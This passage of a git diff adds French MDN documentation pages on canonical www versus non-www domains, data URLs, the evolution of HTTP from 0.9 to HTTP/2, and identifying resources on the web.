entre elles. Le point clé est que, sémantiquement, <em>un nom de domaine représente un seul serveur</em>.</p> + +<h2 id="Donc_je_dois_choisir_l'un_ou_l'autre_pour_mon_site_web">Donc je dois choisir l'un ou l'autre pour mon site web ?</h2> + +<ul> + <li><u>Oui</u>, car vous avez besoin de faire une sélection et de vous y tenir. Vous être libre de choisir l'un ou l'autre pour déterminer votre domaine canonique mais une fois que vous avez effectué votre choix, vous devez le respecter. Votre site web gardera ainsi une structure consistante pour vos utilisateurs ainsi que les moteurs de recherche. Cela inclut la manière dont vous exposez des liens vers votre site, que ce soit au sein du site (auquel cas l'utilisation d'adresses relatives devrait simplifier le problème), ou bien lorsque vous partagez l'information à l'extérieur (courriel, réseaux sociaux, ...).</li> + <li><u>Non</u>, vous pouvez utiliser les deux à la fois. La seule chose importante est de rester cohérent au niveau du nom de domaine que vous utilisez de manière officielle. <strong>Ce domaine est appelé le nom de domaine <em>canonique</em>.</strong> L'ensemble de vos liens absolus doivent y référer. Vous pouvez, dans le même temps, bénéficier du second domaine. HTTP et HTML supportent deux techniques qui permettent à vos utilisateurs et aux moteurs de recherche de savoir simplement lequel des deux domaines constitue le domaine canonique, bien que l'autre domaine soit actif et serve des pages web.</li> +</ul> + +<p>Ainsi, choisissez un de vos domaines comme domaine canonique. Les deux techniques ci-dessous permettent de maintenir le domaine non-canonique en état de marche.</p> + +<h2 id="Techniques_pour_les_URLs_canoniques">Techniques pour les URLs canoniques</h2> + +<p>Il existe différentes manières de choisir le site web qui sera le site <em>canonique</em>.</p> + +<h3 id="Utiliser_la_redirection_via_HTTP_301">Utiliser la redirection via HTTP 301</h3> + +<p>Dans ce cas, vous devez configurer le serveur qui reçoit les requêtes HTTP (a priori, le serveur qui sert le domaine avec ou sans www est le même) pour qu'il réponde un statut HTTP {{HTTPStatus(301)}} pour chaque requête provenant du domaine non-canonique. Cela aura pour effet de rediriger le navigateur qui essaie d'accéder aux adresses non-canoniques vers leurs équivalents canoniques. Ainsi, si vous avez choisi d'utiliser un domaine qui ne démarre pas par www, vous devriez rediriger chaque URL débutant par www vers une URL sans www.</p> + +<p>Exemple :</p> + +<ol> + <li>Un serveur reçoit une requête pour <code>https://www.exemple.org/kadoc</code> (tandis que le domaine canonique est constitué par exemple.org)</li> + <li>Le serveur répond via un code {{HTTPStatus(301)}} contenant l'en-tête {{HTTPHeader("Location")}}<code>: https://exemple.org/kadoc</code>.</li> + <li>Le client émet une requête pour le domaine canonique : <code>https://exemple.org/kadoc</code></li> +</ol> + +<p>Le <a href="https://github.com/h5bp/html5-boilerplate">projet HTML5 boilerplate</a> contient un exemple sur <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">la configuration d'un serveur Apache afin de rediriger un domaine vers un autre</a>.</p> + +<h3 id="Utiliser_<_link_relcanonical>">Utiliser <em><code>< link rel="canonical"></code></em></h3> + +<p>Il est possible d'ajouter un élément HTML spécifique {{HTMLElement("link")}} pour indiquer l'adresse canonique de la page. Cela n'a aucun impact sur la personne qui visite la page web, en revanche, elle permet aux robots des moteurs de recherche de connaître l'adresse effective de la page. De cette manière les moteurs de recherche n'indexent pas le contenu de façon répétée. Sans cet élément, ils pourraient penser que la page est dupliquée ou constitue du spam, ce qui entraînerait la disparition de la page dans les index des moteurs de recherche ou un mauvais classement.</p> + +<p>Lors de l'ajout de cet élément, vous servez le même contenu entre les deux domaines tout en indiquant aux moteurs de recherche lequel est canonique. Dans l'exemple précédent <code>https://www.exemple.org/kadoc</code> contiendrait le même contenu que <code>https://exemple.org/kadoc</code>, avec un élément {{htmlelement("link")}} supplémentaire dans l'en-tête :</p> + +<p><code>< link href="https://exemple.org/kadoc" rel="canonical"></code></p> + +<p>À l'inverse du cas précédent, les URLs débutant par www ou non seront alors considérées dans l'historique du navigateur comme des entrées distinctes.</p> + +<h2 id="Adapter_votre_page_aux_deux_cas">Adapter votre page aux deux cas</h2> + +<p>Grâce à ces techniques, vous pouvez configurer votre serveur pour répondre correctement à l'ensemble des cas (www ou non). Il s'agit d'une bonne démarche, étant donné qu'il est impossible de prédire ce qu'un utilisateur tapera dans sa barre d'adresse. Il faut simplement déterminer votre domaine canonique pour ensuite effectuer la redirection vers ce dernier.</p> + +<h2 id="Choisir_www_ou_non">Choisir www ou non</h2> + +<p class="entry-title">Il s'agit d'un sujet subjectif âprement débattu. S vous souhaitez approfondir, vous pouvez lire <a href="http://www.themezilla.com/should-you-use-www-in-your-url-or-not/">de nombreux</a> <a href="http://www.wpbeginner.com/beginners-guide/www-vs-non-www-which-is-better-for-wordpress-seo/">articles</a> sur ce sujet.</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="https://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">Statistiques sur ce que les gens entrent dans la barre d'adresse</a> (2011)</li> +</ul> diff --git a/files/fr/web/http/basics_of_http/data_uris/index.html b/files/fr/web/http/basics_of_http/data_uris/index.html new file mode 100644 index 0000000000..418099cb90 --- /dev/null +++ b/files/fr/web/http/basics_of_http/data_uris/index.html @@ -0,0 +1,122 @@ +--- +title: URLs de données +slug: Web/HTTP/Basics_of_HTTP/Data_URIs +tags: + - Base64 + - Guide + - HTTP + - Intermédiaire + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>Les URLs de données</strong>, les URLs préfixées par le schéma <code>data:</code>, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents.</p> + +<div class="note"> +<p><strong>Remarque </strong>: Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL.</p> +</div> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Les URLs de données sont composées de quatre parties : un préfixe (<code>data:</code>), un type MIME indiquant le type de donnée, un jeton facultatif encodé en <code>base64</code> dans le cas où il n'est pas textuel ainsi que les données elles-mêmes :</p> + +<pre class="syntaxbox">data:[<mediatype>][;base64],<data> +</pre> + +<p>Le <code>mediatype</code> est une chaîne de type MIME, telle que <code>'image/jpeg'</code> pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera <code>text/plain;charset=US-ASCII</code>.</p> + +<p>Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier <code>base64</code> pour intégrer des données binaires encodées en base64.</p> + +<p>Quelques exemples :</p> + +<dl> + <dt><code>data:,Hello%2C%20World!</code></dt> + <dd>Texte simple / Données brutes</dd> + <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt> + <dd>Version encodée en base64 de ce qui précède</dd> + <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt> + <dd>Un document HTML avec <code><h1>Hello, World!</h1></code></dd> + <dt><code>data:text/html,<script>alert('hi');</script></code></dt> + <dd>Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise.</dd> +</dl> + +<h2 id="Encodage_des_données_au_format_base64">Encodage des données au format base64</h2> + +<p>Il est possible de le faire très simplement via la ligne de commande <code>uuencode</code> pour les systèmes Linux et Mac OS X :</p> + +<pre>uuencode -m infile remotename +</pre> + +<p>Le paramètre <code>infile</code> est le nom du fichier que vous souhaitez encoder au format base64, <code>remotename</code> est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type <code>data</code>.</p> + +<p>Le résultat devrait ressembler à :</p> + +<pre>begin-base64 664 test +YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK +==== +</pre> + +<p>L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête.</p> + +<h3 id="Dans_une_page_web_via_JavaScript">Dans une page web, via JavaScript</h3> + +<p>Les APIs web contiennent des méthodes pour encoder et décoder en base64 : <a href="/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Décoder et encoder en base64</a>.</p> + +<h2 id="Problèmes_habituels">Problèmes habituels</h2> + +<p>Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type <code>data</code></p> + +<pre>data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val +</pre> + +<p>Cela représente une ressource HTML dont le contenu est le suivant :</p> + +<pre>beaucoup de texte...<p><a name="bottom">bottom</a>?arg=val +</pre> + +<dl> + <dt>Syntaxe</dt> + <dd>Le format pour les URLs de type <code>data</code> est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64.</dd> + <dt>Mise en forme HTML</dt> + <dd>Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">l'encodage en base64</a>.</dd> + <dt>Limitations sur la longueur</dt> + <dd>Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée.</dd> + <dt>Absence de gestion d'erreur</dt> + <dd>Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie <code>'base64'</code>, sont ignorés mais aucune erreur n'est retournée.</dd> + <dt>Aucun support des requêtes via l'URL, etc</dt> + <dd> + <p>La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe <code><url>?parameter-data</code>) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée.</p> + </dd> + <dt>Problèmes de sécurité</dt> + <dd>De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données <code>data://</code> a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. <a href="https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/">Voir Blocking Top-Level Navigations to data URLs for Firefox 58</a> pour plus de détails.</dd> +</dl> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("2397")}}</td> + <td>Le schéma d'URL "data"</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>{{compat("http.data-url")}}</p> + +<h2 id="Voir_aussi">Voir_aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Décoder et encoder en base64</a></li> + <li>{{domxref("WindowBase64.atob","atob()")}}</li> + <li>{{domxref("WindowBase64.btoa","btoa()")}}</li> + <li><a href="/fr/docs/Web/CSS/uri">CSS <code>url()</code></a></li> + <li><a href="/fr/docs/Glossary/URI">URI</a></li> +</ul> diff --git a/files/fr/web/http/basics_of_http/evolution_of_http/index.html b/files/fr/web/http/basics_of_http/evolution_of_http/index.html new file mode 100644 index 0000000000..fdda44f6a0 --- /dev/null +++ b/files/fr/web/http/basics_of_http/evolution_of_http/index.html @@ -0,0 +1,202 @@ +--- +title: L'évolution du protocole HTTP +slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +tags: + - Guide + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +--- +<div>{{HTTPSidebar}} +<div> +<p><strong>Le protocole HTTP</strong> (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D.</p> + +<h2 id="Linvention_du_World_Wide_Web">L'invention du World Wide Web</h2> + +<p>En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé <em>Mesh, </em>il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base :</p> + +<ul> + <li>Un format textuel pour représenter les documents hypertextes, l'<em><a href="/fr/docs/Web/HTML">HyperText Markup Language</a></em> (HTML).</li> + <li>Un protocole simple pour échanger ces documents, l'<em>HyperText Transfer Protocol </em>(HTTP).</li> + <li>Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé <em>WorldWideWeb</em>.</li> + <li>Un serveur pour garantir l'accès au document, version initiale du <em>httpd</em>.</li> +</ul> + +<p>Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">billet</a> sur le groupe de discussion public <em>alt.hypertext</em> : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public.</p> + +<p>Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole <em>une ligne</em> - "the one-line protocol".</p> + +<h2 id="HTTP0.9_–_Le_protocole_une_ligne">HTTP/0.9 – Le protocole <em>une ligne</em></h2> + +<p>La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) :</p> + +<pre>GET /monfichier.html</pre> + +<p>La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé :</p> + +<pre><HTML> +Une page HTML très simple +</HTML></pre> + +<p>Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur.</p> + +<h2 id="HTTP1.0_–_Mise_en_place_de_lextensibilité">HTTP/1.0 – Mise en place de l'extensibilité</h2> + +<p>HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents.</p> + +<ul> + <li>Dans chaque requête figurent dorénavant les informations de version (<code>HTTP/1.0</code> est ajouté à la ligne <code>GET</code>).</li> + <li>Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique).</li> + <li>La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible.</li> + <li>Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}.</li> +</ul> + +<p>Une requête typique ressemblait ainsi à :</p> + +<pre>GET /pamage.html HTTP/1.0 +User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + +200 OK +Date: Tue, 15 Nov 1994 08:12:31 GMT +Server: CERN/3.0 libwww/2.17 +Content-Type: text/html +<HTML> +Une page avec une image + <IMG SRC="/monimage.gif"> +</HTML></pre> + +<p>Suivie d'une seconde connexion-requête pour le transfert de l'image :</p> + +<pre>GET /monimage.gif HTTP/1.0 +User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + +200 OK +Date: Tue, 15 Nov 1994 08:12:32 GMT +Server: CERN/3.0 libwww/2.17 +Content-Type: text/gif +<em>(contenu de l'image)</em></pre> + +<p>Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel.</p> + +<h2 id="HTTP1.1_–_Le_protocole_standardisé">HTTP/1.1 – Le protocole standardisé</h2> + +<p>Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0.</p> + +<p>HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations.</p> + +<ul> + <li>Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré.</li> + <li>Ajout du <em>pipelining</em> : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication.</li> + <li>Désormais les réponses par morceau sont aussi supportées.</li> + <li>Mise en place de mécanismes de contrôle de caches additionnels.</li> + <li>Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger.</li> + <li>Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs.</li> +</ul> + +<p>Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci :</p> + +<pre>GET /fr/docs/Glossary/Simple_header HTTP/1.1 +Host: developer.mozilla.org +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header + +200 OK +Connection: Keep-Alive +Content-Encoding: gzip +Content-Type: text/html; charset=utf-8 +Date: Wed, 20 Jul 2016 10:55:30 GMT +Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" +Keep-Alive: timeout=5, max=1000 +Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT +Server: Apache +Transfer-Encoding: chunked +Vary: Cookie, Accept-Encoding + +<em>(contenu)</em> + + +GET /static/img/header-background.png HTTP/1.1 +Host: developer.cdn.mozilla.net +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header + +200 OK +Age: 9578461 +Cache-Control: public, max-age=315360000 +Connection: keep-alive +Content-Length: 3077 +Content-Type: image/png +Date: Thu, 31 Mar 2016 13:34:46 GMT +Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT +Server: Apache + +<em>(contenu comprenant une image sur 3077 octets)</em></pre> + +<p>HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997.</p> + +<h2 id="Plus_de_quinze_années_dextension">Plus de quinze années d'extension</h2> + +<p>Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans.</p> + +<h3 id="HTTP_pour_des_transmissions_sécurisées">HTTP pour des transmissions sécurisées</h3> + +<p>La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration.</p> + +<p>Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce.</p> + +<h3 id="Utilisation_de_HTTP_dans_des_applications_complexes">Utilisation de HTTP dans des applications complexes</h3> + +<p>La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale.</p> + +<p>En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions *DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010.</p> + +<p>Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que:</p> + +<ul> + <li><a href="/fr/docs/Web/API/Server-sent_events">Évènements générés par le serveur</a>, le serveur peut éventuellement pousser des messages au navigateur.</li> + <li><a href="/fr/docs/Web/API/WebSocket_API">WebSocket</a>, un nouveau protocole qui peut être utilisé en passant à une version récente de HTTP.</li> +</ul> + +<h3 id="Relâcher_les_contraintes_du_modèle_de_sécurité_du_Web">Relâcher les contraintes du modèle de sécurité du Web</h3> + +<p>HTTP est indépendant du modèle de sécurité du Web, principalement créé via la <em><a href="/fr/docs/Web/Security/Same-origin_policy">same-origin policy</a></em>. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications <a href="/fr/docs/Glossary/CORS">Cross-Origin Resource Sharing</a> (CORS) ou <a href="/fr/docs/Web/Security/CSP">Content Security Policy</a> (CSP).</p> + +<p>D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres.</p> + +<h2 id="HTTP2_–_Un_protocole_pour_plus_de_performances">HTTP/2 – Un protocole pour plus de performances</h2> + +<p>Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le <em>pipelining</em> HTTP s'est révélé être un fardeau dans le monde du développement web.</p> + +<p>Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2.</p> + +<p>Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects:</p> + +<ul> + <li>Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée.</li> + <li>C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x.</li> + <li>HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires.</li> + <li>Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur.</li> +</ul> + +<p>Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016)<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup>. Ce qui représentait en 2015 plus de 68% des requêtes<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a></sup>. Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées.</p> + +<p>Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires.</p> + +<h2 id="Après_HTTP2">Après HTTP/2</h2> + +<p>HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 :</p> + +<ul> + <li>Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}.</li> + <li>L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres.</li> + <li>L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié</li> +</ul> + +<p>Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole.</p> +</div> +</div> diff --git a/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html b/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html new file mode 100644 index 0000000000..0265a81829 --- /dev/null +++ b/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html @@ -0,0 +1,169 @@ +--- +title: Identifier des ressources sur le Web +slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web +tags: + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une <em>Uniform Resource Identifier</em> ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.</p> + +<p>L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (<em>Uniform Resource Locator</em>° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.</p> + +<h2 